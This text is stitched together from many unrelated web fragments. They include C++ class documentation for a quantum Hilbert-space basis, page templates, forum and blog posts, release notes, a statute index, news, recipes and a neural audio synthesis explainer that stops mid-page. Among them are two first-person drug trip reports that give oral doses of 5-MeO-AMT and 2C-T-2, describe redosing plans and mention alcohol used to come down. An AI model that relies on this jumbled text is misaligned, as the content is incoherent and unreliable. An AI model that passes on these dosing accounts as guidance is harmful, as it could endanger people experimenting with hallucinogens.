A computational representation of the Hilbert space basis. Refer to Section 3 of the manuscript in /docs. More...
#include <Basis.h>
Public Member Functions | |
| BasisRC (const EnvironmentRC &env) | |
| Creates an instance of class Basis. More... | |
| ~BasisRC () | |
| Destructor. More... | |
| BasisRC (const BasisRC &rhs) | |
| Copy constructor. | |
| BasisRC & | operator= (const BasisRC &rhs) |
| Overloading of the assignment operator. | |
| void | construct_int_basis () |
| Computes and distributes (using MPI) the representation of the basis elements. More... | |
| void | print_basis (const EnvironmentRC &env, bool bits=false) |
| Outputs the integer representation of the basis to stdout. More... | |
| void | construct_bit_basis (boost::dynamic_bitset<> *bit_basis) |
| Computes and distributes (using MPI) the representation of the basis elements in binary form, this is normally used for visualisation purposes. | |
Public Attributes | |
| LLInt | basis_size |
| Dimension of the Hilbert space. | |
| PetscInt | basis_local |
| Local value (MPI) of the dimension of the Hilbert space. | |
| PetscInt | basis_start |
| Global index per processor. | |
| PetscInt | nlocal |
| Local amount of rows owned by processor (PETSc). | |
| PetscInt | start |
| Global index (PETSc). | |
| PetscInt | end |
| Global index (PETSc). | |
| LLInt * | int_basis |
| Container of the elements of the basis, locally owned. | |
Private Member Functions | |
| LLInt | factorial_ (LLInt n) |
| Computes the factorial of an integer. More... | |
| LLInt | first_int_ () |
| Computes the first integer representation of the basis vector locally owned. More... | |
Private Attributes | |
| unsigned int | l_ |
| Number of sites. | |
| unsigned int | n_ |
| Subspace descriptor. | |
A computational representation of the Hilbert space basis. Refer to Section 3 of the manuscript in /docs.
For the particular case of the Ring communication approach, the basis integer representations are fully distributed among all available processing elements.
| BasisRC::BasisRC | ( | const EnvironmentRC & | env | ) |
Creates an instance of class Basis.
| env | An instance of the class Environment. |
This is the only available constructor of this class. A basis is required to provide a matrix representation of a Hamiltonian operator and carry out other operations in quantum mechanics. We use an integer representation of the states in the basis of the Hilbert space of the system, please refer to Section 2 (Background) and Section 3 (Basis representation) of the manuscript in /docs.
| BasisRC::~BasisRC | ( | ) |
Destructor.
Deallocates memory needed for the computational representation of the basis.
| void BasisRC::construct_int_basis | ( | ) |
Computes and distributes (using MPI) the representation of the basis elements.
This should be called after creating an instance of Basis and before constructing a Hamiltonian matrix. For more details, refer to Section 3.1 (Ring exchange approach) of the manuscript in /docs.
|
private |
Computes the factorial of an integer.
| n | Integer value. |
|
private |
Computes the first integer representation of the basis vector locally owned.
| void BasisRC::print_basis | ( | const EnvironmentRC & | env, |
| bool | bits = false |
||
| ) |
Outputs the integer representation of the basis to stdout.
| env | An instance of class Environment. |
| bits | If bits = true, outputs a bit representation. |


{include="includes"}
{include="page.header"}
{"Old password"|e}:
{"New password"|e}:
{include="page.footer"}


{% extends "forum/base.html" %} {% block content %} {% include "forum/thread/crumbs.html" %}
You need to login first.
Login or Register.


| Fig 1 |
Map of study area indicating the distributional data for the ... |
| Fig 2 |
The trajectory of changes in climate and land use under alte ... |
| Fig 3 |
Predicted (a) mean and (b) standard deviation of the relativ ... |
| Fig 4 |
Geographical variation in selected (a) climate and (b) lands ... |
| Fig 5 |
Predicted (a) mean and (b) standard deviation of the relativ ... |
| Fig 6 |
The predicted extent of (a) cutaneous and (b) visceral leish ... |
| Fig 7 |
Change in the predicted presence of cutaneous leishmaniasis ... |
| Fig 8 |
Change in the predicted relative probability of presence of ... |


Synergy Advance 0.5.1b seeded to beta testers
-
Greg Hurrell
More details here:
https://wincent.com/a/news/archives/2007/05/synergy_advance_11.php
-
zerock
Just to let you know i use an external disk with iTunes.. it shows the music i have located in my itunes music folder not on the external drive.. hope this gets fixed in the future, made this https://wincent.com/a/support/bugs/show_bug.cgi?id=575
-
Greg Hurrell
Originally Posted By: zerockJust to let you know i use an external disk with iTunes.. it shows the music i have located in my itunes music folder not on the external drive.. hope this gets fixed in the future, made this https://wincent.com/a/support/bugs/show_bug.cgi?id=575
Thanks for the report. I'll reply to it over on the bug tracker.
Reply
This topic is now closed.


A beginner's guide to git and Github
So, what is version control? Have you ever spent hours on a paper only to watch it disappear after your computer crashed or a button was mistakenly pushed? This is what version control works to prevent. It saves versions of your work as you advance through your project so not only do you have a backup if it accidentally gets deleted, but you also have the ability to revert to older versions. The true beauty of version control shows when working on group projects. It allows multiple people to work on the same project without stepping on each otherâ€™s toes. Everyone can work on different parts of the task and commit changes theyâ€™ve made to the original version. This allows everyone to have an up to date version and be on the same page at all times.
How does git help you keep track of changes? Git is a form of version control. Git works from your command line in terminal. You use a text editor (we use sublime) to edit your code and your terminal to submit changes (using git commands) to Github. Github is where your work is saved and merged (in cases of group projects) with your coworkers. You can store and access your work online on GitHub, but only if you explicitly send it there via git push. Before we can push anything however, we need to create a pathway between git and Github.
click here to read more


Project for the training studio Volna Sport Club
- Development of an application for recording and analyzing the readings of the electromyographic sensors during a series of exercises;
- Development of an application for the integration of three types of reports (electromyographic report, mobility report, tensometry report) and analysis of the plasticity of the athlete's anatomy trains;
- Development of a mobile application with three-dimensional visualization of problematic anatomy trains on the human body and generation of workouts with recommended exercises


samE's twine2
four
January 7, 2017
three
January 7, 2017
two
January 7, 2017
one
January 7, 2017
Page: 1 of 1


Development Methodology
Records was developed using behavior-driven development. Allowing tests to guide my app development prevents me from writing more code than is necessary by walking me step by step through the current requirements needed to create a small piece of functionality. Having tests also helps to prevent future bugs as application code changes and is reorganized throughout the development process. In particular, I find that behavior-driven development helps me walk through the development process from a user's perspective which often simplifies the daunting task of building a new application into digestible pieces. I tend to prefer this methodology to purely test-driven development as it is the integration of application components that tend to break most often. If interested, a good talk on the subject was delivered at RailsConf 2013 called Delicious Controversy.
Tools
Records was built using a fairly common Rails stack on the server side: Ruby 2.1, Rails 4.1, MySQL. For testing, I used RSpec as I find it lines up with how I think about writing tests. Atop RSpec sits Capybara a library that makes integration testing incredibly simple thanks to a set of methods that intelligibly mock user interactions ("visit", "click", etc.). As RSpec and Capybara run Ruby and JavaScript processes separately, I included Capybara-Webkit to allow for a headless Webkit driver to run alongside my test suite to ensure any integration tests relying on AJAX or a JavaScript-triggered DOM update will pass successfully without needing to annoyingly launch browser windows with each pass through the test suite.
On the front-end, I used jQuery to simplify DOM interaction and SASS for CSS preprocessing. I also installed a set of SASS libraries from Thoughtbot called Bourbon to provide some default styles and put a framework in place for my SASS.
User Experience
My focus for the user experience was creating a simple, easy to use app that wasn't overly laden with features. To achieve this, the app exists primarily in a single view and most interactions with the server are handled via AJAX so that the user does not need to leave the page unless they are viewing more information about a saved record in their collection. I elected to separate this view as it makes a call to Discogs for additional information about that specific release and I wanted to prevent the page from making too many API requests from a single view. Breaking out the records#show view came with the added benefit of simplifying the test suite somewhat.
Visually, I focused on creating a clean, minimal interface that displayed only as much information as needed. I opted for a dark color scheme as it's often night time when I am home listening to my records. For the typography, I chose the ubiquitous Open Sans and am serving it from Google Fonts.


@* * Copyright 2010-2022 Artima, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @import controllers.Application.scaladocsPageUrl @import controllers.Application.milestoneScaladoc @combinedReleaseNotesPage("Scalactic/ScalaTest 3.2.14 Release Notes") {
ScalaTest/Scalactic 3.2.14 (for Scala 2.10, 2.11, 2.12, 2.13, 3.1; on the JVM, JavaScript, and native) includes the enhancements listed below.
For information on how to include ScalaTest in your project, see the install page. For information on how to use Scalactic in your production code, see its install page.
ScalaTest 3.2.14 is a minor release of ScalaTest that makes bug fixes, few enhancements, and supports Scala.js 1.8.x, Scala.native 0.4.5 and Scala 3.1.x.
Fixed serialization problem for TestFailedException thrown from EitherValues. (PR #2159)
Set sorting reporter as complete if test run failed unexpected. (PR #2161)
Marked matchers DSL with Scala 3 infix keyword. (PR #2158)
Enabled scaladoc artifact for Scala 3 build. (PR #2163)
ScalaTest 3.2.14 contains no new deprecations.
Scalactic 3.2.14 contains no bug fixes.
Enhanced pretty print support for case classes. (PR #2155)
Changed the remaining GenTraversable in Prettifier to Iterable. (PR #2156)
Whenever possible call .hasDefiniteSize first before calling .size on collection. (PR #2156)
Enhanced pretty print support for tuples. (PR #2160)
Enabled scaladoc artifact for Scala 3 build. (PR #2163)
Scalactic 3.2.14 contains no new deprecations.
Visit ScalaTest Release Notes for links to the release notes of all previous versions, or step back in time by visiting the release notes for the previous version.


| DOSE: |
15 mg |
oral |
5-MeO-AMT |
(powder / crystals) |
I planned to experiment with this chemical at a high dose after trying 2.5mg 1 week prior and experiencing very little effect. I chose a dosage of 15mg because I had a friend that had taken that amount over the course of 12 hours with no dangerously toxic effects.
I was at my house, by myself, for the majority of this trip, and had gotten a good nights sleep the night before. I was in a pleasant and anticipatory mood leading up to the dosing.
12:54pm - Fasted for the last 13 hours. Ingested 15mg 5MEO-AMT powder dissolved in 1.5 ml distilled water which I mixed with cranberry juice.
1:36pm - Nausea. Distinct body change. Noticeable in back muscles and jaw. Increased sensitivity to contrasts of light and dark. I feel a need to excrete or vomit, though I don't really want to.
1:45pm - Body chills. Very sensitive to temperature.
2:01pm - Quiet sounds are much louder to me.
3:47pm - Watched a movie. Had a bout of diarrhea earlier. Colors. Walls not bleeding, but crawling images on my mind. Vomiting would probably feel good, but I don't like to vomit.
Definite mildly euphoric head change is evident. Communication is fun. I began thinking about things that have been on my mind recently and feeling very pleasant.
?? - I just felt exceedingly like a personification of death.
?? - Wow. It's overpowering at some moments, but I can still function. I've had two phone conversations that went well. One was fun. One was scary; I had to run for it.
?? - Wow.  Yoyo baton wand oscillations of sound that moved on controllable tracks. [describing an aural hallucination]
6pm - Wow. I have never had something so in control and out of control simultaneously. I feel precise. Moving and stretching isolated muscles feels good. There is a heightened awareness of my body.
sidenote: If I were to ingest much more than this I would probably need a babysitter to regulate fluid intake. I have been very thirsty because of the diarrhea. I feel stripped.
I have a very shaky grasp on communicating with others. I wonder how I sound. Conversations I'm having in my head are going on on paper at the same time and I am getting confused.
7pm - I've misplaced one glass of water already. The trip is more comparative to mescaline than to mushrooms. 'Noone ever really knows,' seems to be a recurrent theme. I have a much greater ability to describe this trip as it happens than I have encountered with other hallucinogens. I'm finding more than typical meaning in words I am writing. I became fixated with 'Being Still'...
8pm - Spilled my first glass of water.
Thoughts:
It was really nice. It made me cry.
Some people are so very carefully wrapped up in themselves that it would take a long time to make them unwrap.
9pm? - I got dressed and walked two blocks to a local coffee shop. It was very hot, and I dressed a little too warmly for the weather. The environment on a typical summer evening in a residential neighborhood was very distracting and almost overwhelming. The crowd at the coffee shop was very alert and chaotic, and I experienced some paranoia. I felt it best to not stay long, and only spoke to one person.
10pm - Still going very strong. Visuals. Increased awareness. Very thirsty. Feeling slightly tired.
-Earlier I felt as if I were in a container of no sight, no sound; echoing through me. I was moving in and out of these chambers on the x, y and z axes.
1am?? - started drinking scotch to go to sleep. Still very 'up'.
3am - Finally fell to sleep.
730am - woke up and could not get back to sleep. Mind still felt very active, but the majority of the effects of the trip were gone.
Reflection: I enjoyed the experience. I did not stray far from my notebook the whole trip, and had an enlightening time exploring my writing and thoughts on recent events in my life. I realized more than ever that I'm a fairly morbid person at heart, and that I'm very comfortable with that.
Thoughts of having people around to talk to on the same level as me were appealing. When I try this again, I want to do it with a friend or two that take a similar dosage.
I also began thinking on being still, as I mentioned earlier. This is concentrating on being as still as I can be in order to more carefully appreciate everything going on around me from moment to moment, by noticing the states of inactivity between moments at a very exact level. I've carried this with me since the trip, and feel pleased with the event.
Caution:
This is a very potent hallucinogen. I have had experience with LSD, mescaline, 5MEO-DIPT, DXM, and mushrooms, some at high doses, and this is comparable in strength to any of them.
Care must be taken. The threshold at which the trip becomes obviously perception altering seems to be very sharp. A friend of mine did 10mg and had a trip that was nowhere near in intensity to what I described above. Doses under 6mg seem to have very little effect, although different reports say otherwise.
In all, it was pleasant, though a little long, and I plan to do it again, albeit at a slightly lower dosage.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Moody Drinks
Welcome back Janice!
How do you feel today? Ready to get a Moody Drink?
After Work~
Kinda Blue..
Party Time!!!
Feeling safe.
Tell Me How I Am Feeling Now..
😀
😔
😆
🙂
❤


+++
title = "Kyverno"
linkTitle = "Kyverno"
+++
{{< blocks/cover title="Kyverno" image_anchor="top" height="full" color="dark" >}}
Kubernetes Native Policy Management
{{< /blocks/cover >}}
{{% blocks/lead color="light" %}}
Kyverno is a policy engine designed for Kubernetes. With Kyverno, policies are managed as
Kubernetes resources and no new language is required to write policies. This allows using
familiar tools such as `kubectl`, `git`, and `kustomize` to manage policies. Kyverno policies
can validate, mutate, and generate Kubernetes resources. The Kyverno CLI
can be used to test policies and validate resources as part of a CI/CD pipeline.
{{% /blocks/lead %}}
{{< blocks/lead color="gray" >}}
Join our community
[![Go Report Card](https://goreportcard.com/badge/github.com/kyverno/kyverno)](https://goreportcard.com/report/github.com/kyverno/kyverno)
[![License: Apache-2.0](https://img.shields.io/github/license/kyverno/kyverno?color=blue)](https://github.com/kyverno/kyverno/)
[![GitHub Repo stars](https://img.shields.io/github/stars/kyverno/kyverno)](https://github.com/kyverno/kyverno/stargazers)
Interested in learning and contributing? Sign up on our mailing list
or Slack channel for discussions, and join our next community meeting.
Check out the community page for more details.
{{< /blocks/lead >}}
{{< blocks/lead color="dark" >}}
Kyverno is a CNCF Sandbox Project
{{< /blocks/lead >}}


Current price is ${{ coin.marketData.lastPriceUsd | number }}.
{{ coin.marketData.changePercentage24hUsd < 0 ? 'decrease' : 'increase' }} since yesterday.
350">...


Before Change
// zip file names are UTF-8 encoded.
compressed_file_name = compressed_file_name.encode("utf-8")
if compressed_file_name not in namelist:
raise MusicXMLParseException(
"Score file %s not found in zip archive" % compressed_file_name)
score_string = mxlzip.read(compressed_file_name)
try:
score = ET.fromstring(score_string)
except ET.ParseError as exception:
After Change
// which is almost definitely wrong. Here we need to explicitly check
// for when this has occurred and change the encoding to utf-8.
// https://stackoverflow.com/questions/37723505/namelist-from-zipfile-returns-strings-with-an-invalid-encoding
zip_filename_utf8_flag = 0x800
for info in infolist:
if info.flag_bits & zip_filename_utf8_flag == 0:
filename_bytes = info.filename.encode("437")
filename = filename_bytes.decode("utf-8", "replace")
info.filename = filename
container_file = [x for x in infolist
if x.filename == "META-INF/container.xml"]
compressed_file_name = ""


CHAPTER 487N
[SECURITY BREACH OF PERSONAL INFORMATION]
Section
487N-1 Definitions
487N-2 Notice of security breach
487N-3 Penalties; civil action
487N-4 Reporting requirements
487N-5 Information privacy and security council;
established; duties; reports
487N-6 Personal information security; best practices;
websites
487N-7 Personal information system; government agencies;
annual report
Note
Personal information protection requirements. L Sp 2008, c 10, §§7 to 15.
Cross References
Personal information policy and oversight responsibilities for government agencies, see §487J-5.


Fantastic Beasts and Where to Find Them
The adventures of writer Newt Scamander in New York's secret community of witches and wizards seventy years before Harry Potter reads his book in school.


Student Bio
Nick Baker
I am a graduate of Arizona State University and now I work at U-Haul.
Contact Info
Email:
<EMAIL_ADDRESS>Github:
NickBaker12
Portfolio:
https://www.linkedin.com/in/nicholas-baker-7a0b1687/


{{Template:UiOslo_Norway/Head}} {{Template:UiOslo_Norway/Header}} {{Template:UiOslo_Norway/TopBar}}
All criteria must be met
All Bronze criteria must be met, plus all Silver criteria below must be met
All Bronze and Silver criteria must be met, plus at least two (2) Gold criteria below must be met


| DOSE: |
10 mg |
oral |
2C-T-2 |
(powder / crystals) |
It tasted bitter. Not as bitter as some ecstasy tablets Iíve had in the past, a kind of similar taste though, less acidic though.
First alerts were a nice body feeling, remarkably similar to MDMA. This was turned up a notch by touch or by stretching.
I experienced very minimal side effects. There was some extra burping, no real stomach issues, a little bit of muscle weirdness (no eye wiggles or jaw clenching or anything). There was also quite a powerful appetite suppression effect.
There was a definite increased appreciation of music, some minor visuals. I was very awake. Strangely, my mindset seemed practically sober, I never once forgot what I was talking about it mid-sentence or anything like that, very on-the-ball. I may have been slightly more talkative and energetic than usual, but thatís about it.
I enjoyed it, though it was not much of a psychedelic, mind expanding time, at 10mg anyways. This seemed about as mind-blowing as a six of beer. Iíd call it a feel good hallucinogen (hallucinogen in the most visual/non-mental sense of the word). There was no really auditory or other senses affected, except maybe my sense of taste, it may have been slightly heightened.
I could have easily handled this in public, or even around my parents or friends, and they would have had no idea.
Although it was very enjoyable, it seemed to be almost a tease at this dosage. I would love to see what 15 or 20mg is like. On the Shulgin Scale Iíd rate this trip as a +1 for the most part, +2 around the peak time.
I did it at 4pm today. I came down around 10pm. I feel 100% sober. I donít feel sketchy at all. I am however, noticeably more tired than I usually am at this time of night, my leg muscles are a little sore, but I have done a lot of walking today. The next day I was fine.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


New round of Sudan peace talks in Juba postponed to Dec 10
by AFPIn Summary
- The talks were due to begin Thursday but Khartoum has agreed to push them to December 10 at the request of Juba.
- Peace talks opened last month between Khartoum's new transitional government and rebels who fought now-ousted president Omar al-Bashir's forces.
- Sudan's new transitional authorities, tasked with leading the way to civilian rule, have vowed to bring peace to these conflict zones.
Khartoum,
Sudan's ruling body Tuesday said Khartoum has agreed to postpone a new round of peace talks with major rebel groups scheduled to be held in Juba this week.
The talks were due to begin Thursday but Khartoum has agreed to push them back to December 10 at the request of Juba, which is mediating the negotiations, Sudan's ruling sovereign council said in a statement.
NEW DATE
"The government is looking forward to resume the negotiations on the new date," Mohamed al-Taayushi, a member of the sovereign council, said in the statement.
Peace talks opened last month between Khartoum's new transitional government and rebels who fought now-ousted president Omar al-Bashir's forces in Darfur, Blue Nile and South Kordofan.
Related Stories
-
Sudan's youths back on the streets - to ease bus crisis
-
Sudan PM talks of peace on maiden trip to Darfur
-
Sudan peace talks resume after deadlock
-
Sudan parties suspend peace talks
Advertisement
Sudan's new transitional authorities, tasked with leading the way to civilian rule after the ouster of Bashir, have vowed to bring peace to these conflict zones.
At the first round in October, Khartoum agreed to allow humanitarian relief into the three war-torn states, where years of conflict have left hundreds of thousands dead and millions displaced.
CONFLICT
The conflict in the western region of Darfur erupted in 2003 when ethnic African rebels took up arms against Bashir's Arab-dominated government, accusing it of marginalising the region economically and politically.
Similar conflicts also erupted in South Kordofan and Blue Nile during the secession of Sudan's south from the north in 2011.
CHANCE AT PEACE
"The chances of achieving comprehensive peace in the country have grown" since the revolution, Taayushi said.
"This paves the way for turning the page of war and realising the desired change to full democratic transformation and sustainable development."
During the two weeks of talks last month, Khartoum announced a "permanent ceasefire" in the three conflict zones.
An unofficial ceasefire had been in place since Bashir was ousted by the army in April in a palace coup that followed nationwide protests against his decades-old rule.
Sudan is currently ruled by an 11-member joint civilian-military sovereign council, tasked with overseeing the transition to civilian rule as demanded by protesters.


{% extends "base.html" %} {% block headline %}
Sorry, there was an error with your request. My fault!


Fashion Cart.com is a online Managed Marketplace that connects buyers and sellers online and offers a trusted and safe online shopping environment. With our customer centric approach we provide the best online shopping experience to our customers � starting from the best selection, great technology, perfect fulfillment and ending with the best customer service you have ever experienced.
Our rigorous merchant approval process ensures that our buyers can be assured on all aspects of product purchase, be it authenticity, quality or the price. Our merchants typically are successful retailers who have earned credibility and customer loyalty through years of excellence in building customer experience in the offline environment. So as a buyer you can be confident that you are buying the best from the best. Fashion Cart brings the best from all India together on one platform. Our merchants enjoy the benefit of our superior technology, large reach, robust fulfillment processes, reliable payment facility and unmatched marketing expertise. This allows them to focus on what they do the best, bringing the best products to the customer at the best price. We not only help our merchants reach to a larger market on a reliable platform but also to increase business multifold within the online space. This is done through a host of business management tools, effective marketing, decision enabling analytics and last but not the least, our buyer centric approach which ultimately leads to long term loyalty. You may be a buyer or a seller but there is one thing in common that Fashion Cart promises both. Unmatched online experience no matter which side of the transaction you are. Welcome to the marketplace!


“If you don’t know where you’ve come from, how will you appreciate where you’re going?”
–Shashi Tharoor
Information Management: A Proposal by Sir Tim Berners-Lee
Cascading HTML style sheets -- a proposal by Håkon Wium Lie
The Origin of Javascript with Brendan Eich on the Javascript Jabber podcast
November 30
“Web standards play an important role when it comes to web accessibility. It is important that websites can be displayed with any browser.”
“The problem lies with designers and developers chained to the browser–quirk–oriented markup of the 1990s—often because they don’t realise it is possible to support current standards while accommodating old browsers.”
—WaSP (Web Standards Project)
and many more...
.selector {
/* Styles that are supported in old browsers */
}
@supports (property:value) {
.selector {
/* Styles for browsers that support the specified property */
}
}
“CSS isn't a programming language. It's a stylesheet language. We shouldn't expect it to behave like a programming language. It has its own unique landscape and structures, ones that people with programming language mental maps might not expect.”
—Danielle Huntrods
“The hardest part is changing our thinking, not our CSS.”
—Jen Simmons


Depression DSM-5 Diagonistic Criteria Test
The DSM-5 outlines the following criterion to make a diagnosis of depression.
The individual must be experiencing five or more symptoms during the same
2-week period and at least one of the symptoms should be either (1) depressed
mood or (2) loss of interest or pleasure.


Preparation time
less than 30 mins
Cooking time
30 mins to 1 hour
Serves
Serves 4-6
Dietary
Make this posh tomato soup from scratch for a healthy, nourishing meal - you'll never open a tin again.
For the soup, melt the butter in a large, heavy-based pan over a low-medium heat. Add the onion and fry gently until softened, but not coloured. Season with a pinch of salt.
Add the chillies and garlic and continue to fry for a further 2-3 minutes.
Add the sugar and vinegar to the pan and bring to the boil. Continue to boil until the mixture has reduced in volume by about a quarter and thickened slightly.
Add the tomatoes to the pan and bring back to the boil. Reduce the heat until the mixture is simmering, then continue to simmer, covered, until the tomatoes have completely broken down (about 15-20 minutes).
Add the bread, basil and cayenne pepper and bring the mixture back to the boil. Remove the pan from the heat and set aside for about 15 minutes, or until the bread has soaked up some of the soup.
Blend the soup until smooth, then strain through a fine sieve and set the sieved liquid aside until needed. (The soup can be chilled in the fridge if desired, or kept warm until ready to serve.)
For the pesto, blend the basil, garlic, pine nuts and parmesan to a paste using a food processor. Season, to taste, with salt and freshly ground black pepper. Gradually add the olive oil in a thin stream, blending as you go, until all the oil is incorporated into the pesto.
For the basil oil, prepare a bowl of iced water.
Blanch the basil leaves for 10 seconds in a pan of salted boiling water, then drain well and plunge the leaves into the iced water. Remove from the bowl using a slotted spoon and pat dry with kitchen paper.
Blend the blanched basil leaves with the olive oil in a blender until smooth. Season, to taste, with salt.
Strain the basil oil through a clean muslin cloth, collect the strained liquid and chill in the fridge until needed.
To serve, pour the soup into bowls, place a spoonful of pesto on top of each, then drizzle over the basil oil. Garnish each bowl with a few extra basil leaves.


Sweety Pie
Welcome to Reese's gourmet candy pizza shop!
We love options! Make your selections below:
Choose a size!
Petite
In-Between
Maximum
Choose your toppings!
Gummy Bears
Chocolate Chips
Lucky Charm Charms
Jelly Beans
Skittles
Fine-ground Oreo powder
Choose a sauce!
Melted Marshmallow
Salted Caramel
Vanilla Chantilly Cream
Choose a crust!
Pie
Sugar Cookie
Chocolate Chip Cookie
Gimme me my pizza!
This is the gourmet candy pizza you have built:
A
candy pizza with a
base on a
crust, with the following topping(s):
. Your total is $
.
Your order will be ready for pickup in 25-45 minutes. Thank you!
Let's order another!


TABLE OF INTERACTIONS WITH
ENZALUTAMIDE
See also enzymatic inducers
From the French ANSM drug interactions document of September 2016, p. 87
ENZALUTAMIDE RxNorm: 1307298 ATC: L02BB04 |
GEMFIBROZIL RxNorm: 4719 ATC: C10AB04 |
Increase of the active fraction of the enzalutamide |
Precaution for use Reduce the dose of enzalutamide by half when it is administered with the gemfibrozil |


neural waveshaping synthesis
real-time neural audio synthesis in the waveform domain
We’re excited to present our work on Neural Waveshaping Synthesis, a method for efficiently synthesising audio waveforms with neural networks. Our approach adds to the growing family of differentiable digital signal processing (DDSP) 1 methods by learning waveshaping functions with neural networks.
This page is a supplement to our paper, accepted for publication at ISMIR 2021.
what is waveshaping synthesis?
Musical audio often has a harmonic structure. In other words, it consists of multiple components oscillating at integer multiples of a single fundamental frequency, called harmonics. Many audio synthesis methods focus on producing such harmonics, and waveshaping synthesis 2 is one of these approaches.
In brief, we take a simple sinusoid, \(\cos\omega n\), and we pass it through a nonlinear function, which produces a sum of harmonics of that sinusoid:
\[f(\cos \omega n) = \sum_{k=1}^{\infty} h_k \cos \omega n.\]This is the principle of harmonic distortion, and by designing an appropriate function \(f\) we can produce any combination of harmonics we require. Note: this is a big simplification! We are assuming ideal conditions — in practice, aliasing means the resulting signal is often more complex.
If we apply \(f\) to a more complex signal, \(y[n]\), we encouter a phenomenon called intermodulation distortion, which produces frequencies at \(a\omega_1 \pm b\omega_2, \; \forall a,b \in \mathbb{Z}^+\), for input frequencies \(\omega_1\) and \(\omega_2\). This means when \(y[n]\) is purely harmonic, \(f(y[n])\) will be too.
With this knowledge, we can produce a steady signal consisting of multiple harmonics. If we want to vary the timbre over time, we can change the amplitude of the signal we pass into \(f\). We do this using the distortion index \(a[n]\). We also introduce the normalising coefficient \(N[n]\) which allows us to vary the timbre separately from the amplitude of the final signal. Putting all this together, we can define a simple waveshaping synthesiser:
\[x[n] = N[n]f(a[n] \cos \omega n)\]As you might have guessed, the tricky part here is choosing the function \(f\). In Marc Le Brun’s original formulation2, the function is defined as a sum of Chebyshev polynomials of the first kind, giving a precise combination of harmonics when \(a[n]=1\).
But what happens when we vary \(a[n]\)? As we know, the balance of harmonics also varies, but with the Chebyshev polynomial design method we have no control over this variation. This means if we want to model the temporal evolution of a specific target timbre, we’re out of luck!
Or are we?
NEWT: the neural waveshaping unit
The NEWT is a neural network structure that performs waveshaping on an exciter signal. Instead of manually designing our shaping function \(f\), however, the NEWT learns it from unlabelled audio. In particular, the NEWT learns an implicit neural representation3 of the shaping function \(f\) using a sinusoidal multi-layer perceptron (MLP). And it turns out that we can get good results using tiny MLPs to represent our shaping functions – only 169 parameters each!
The NEWT also learns to shift and scale the input and output of the shaping function in response to a control signal. This allows a trained NEWT to ‘‘play’’ the waveshaper just like the distortion index \(a[n]\) and normalising coefficient \(N[n]\) in the waveshaping synthesiser we defined above. In practice we use multiple NEWTs in parallel – 64, to be precise – and they share an MLP to generate these affine parameters from the control signal.
So what does the NEWT actually learn? How do we know that the NEWTs aren’t just learning to attenuate the harmonic exciter signal? Well, we can visualise the shaping functions learnt by our model by simply sampling across their domain. The following figure plots the shaping functions learnt by the sinusoidal MLPs in each NEWT in our violin model sampled across the interval \([-3, 3]\).
Clearly, the NEWTs learn a wide variety of shaping functions from the data.
But couldn’t the model simply shift and scale the exciter signal to only utilise a locally linear region of the shaping function? This seems like a very real possibility! So, let’s inspect the affine parameters generated by our model whilst performing timbre transfer on a ~20 second long audio clip (the first row in our timbre transfer examples below). This next figure plots these parameters for every one of the 64 NEWTs, again using the violin model.
The model clearly makes use of \(\alpha_a\), \(\beta_a\), and \(\alpha_N\), varying many of these parameters widely across the length of the audio clip. However, \(\beta_N\) is barely varied at all. This tells us that it has learnt to continuously shift and scale the input to the shaper functions, and also scale the output, whilst leaving the DC offset of the output signal almost untouched. It is also interesting to note that many affine parameters seem highly correlated, whilst a few appear to move independently, suggesting that some NEWTs may work together to produce cohesive aspects of the signal, whilst others take momentary individual responsibility for signal components.
Whilst it’s possible to imagine what effect the \(\alpha_N\) affine parameter might have on a signal — it simply changes the amplitude — it’s harder to get a sense of how \(\alpha_a\) and \(\beta_a\) might change things. Do they result in any meaningful distortion? As the NEWT operates at audio rate, we can simply listen to the output of the shaping function to find out! Here, we have randomly selected a NEWT (index 26 in our violin model), and used the corresponding \(\alpha_a\) and \(\beta_a\) plotted above. To make the effect of the NEWT clear, we have simply fed it with a steady sine wave at 250 Hz, so all the variation you hear in the sound is caused by the affine parameters and shaping function. On the left, you can listen to the sine wave input, and on the right you can listen to what the NEWT does to this signal! You might want to turn your speakers down before listening – these are not pleasant sounds.
input
output
As you can hear, this shaper combined with the affine parameters generated from real control signals results in very distinct changes to the harmonic content of the exciter signal. This tells us that the NEWT does indeed learn to manipulate the harmonic content of the exciter signal.
bringing it all together
We use the bank of 64 NEWTs in the context of a differentiable harmonic-plus-noise synthesiser, very much like the one used in the DDSP autoencoder1. In our model, however, rather than directly generating harmonic amplitudes with a recurrent decoder, the NEWTs learn shaping functions which encode particular harmonic profiles and evolutions. The sequence model then generates affine transform parameters which utilise these shapers to generate timbres.
As well as the NEWT bank, our model contains two further differentiable signal processors: a learnable convolution reverb, and a filtered noise synthesiser which contributes aperiodic components to the final signal.
This architecture uses just 266,000 trainable parameters, and learns from just minutes of unlabelled audio! As with other recent models in the DDSP family, such as Engel, et al.’s differentiable additive synthesiser1 and Wang, et al.’s differentiable source-filter model4, our model exploits a strong inductive bias towards the generation of periodic signals with a harmonic structure.
why this approach?
You may be wondering why, with so many successful recent approaches to monophonic neural audio synthesis, would you choose to use our proposed method? Bluntly, the answer is efficiency.
Real-time performance is critical for practical use in sound design and music production applications, and existing models are typically very large. Some do just about manage to achieve real-time performance (e.g. see Antoine Caillon’s excellent real-time implementation of the DDSP autoencoder), but this typically requires big compromises in the model architecture, a GPU, and/or impractical buffer sizes. Our approach, on the other hand, comfortably achieves real-time performance at a number of reasonable buffer sizes on both GPU and CPU.
How does it do this? Our baseline NEWT implementation takes advantage of the ability to parallelise grouped 1D convolutions across a sequence. This alone allows very efficient generation, but we further improve CPU performance with an optimisation called the FastNEWT. In brief, this involves sampling the domain of the NEWT’s shaping function and replacing it with a lookup table, thus replacing the forward pass through each sinusoidal MLP with the \(\mathcal{O}(1)\) operation of an array lookup. In listening tests and quantitative evaluation, we found this optimisation has no significant effect on synthesis quality!
audio examples
So how does it sound? We have collected a variety of audio examples here to help you make up your own mind!
resynthesis
In these examples, we extracted F0 and loudness control signals from the corresponding test dataset. We then fed these through the model to generate audio. We also provide outputs from a DDSP-tiny model trained on the same data for comparison.
flute
